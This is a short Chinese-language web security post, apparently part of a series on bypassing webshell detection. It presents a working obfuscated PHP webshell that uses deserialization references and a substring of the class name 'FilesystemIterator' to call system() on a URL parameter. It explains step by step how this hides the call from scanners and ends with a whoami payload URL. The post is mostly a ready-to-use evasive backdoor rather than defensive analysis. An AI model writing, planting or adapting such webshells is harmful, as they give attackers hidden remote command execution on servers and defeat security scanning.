WEB安全--RCE--webshell bypass2
继WEB安全--RCE--webshell bypass的补充:
六、PHP反序列化
webshell:
<?php
$s=
unserialize('a:2:{i:0;O:8:"stdClass":1:{s:1:"a";i:1;}i:1;r:2;}');
$c = "123";
$arr= get_declared_classes();
$i=0;for($i;$i<count($arr);$i++){$i++;$s[1]->a=$_GET['a'];if($i<97 || $i>=98){continue;}$c=$s[0]->a;print(substr(get_declared_classes()[55],4,6)($c));
}
?>
原理:
打印$s:
可以看到$s反序列化后有两个值,但是源码中似乎只有一个stdClass;原因是[0]是由[1]引用复制后的值,可以理解为[1]的变化会导致[0]的变化。
打印$arr:
基于上述两个打印值对源码进行分析,我们不难得出其原理:
一开始$c = "123",进入for循环;
$s[1]->a = $_GET['a']一直在接收我们的传参,不过由于if判断,当$i = 97时才会进入下一步;
此时$s[1]->a的值是我们URL传递的参数,而$c = $s[0]->a,且$s[1]->a 的值会同步影响$s[0]->a,所以$c = $_GET['a'];
get_declared_classes()[55]对应的是FilesystemIterator,通过截取取出system;
最后 print(substr(get_declared_classes()[55],4,6)($c)) 就会变成:
print(system($_GET['a']))
payload:
http://127.0.0.1/rce/bypass.php?a=whoami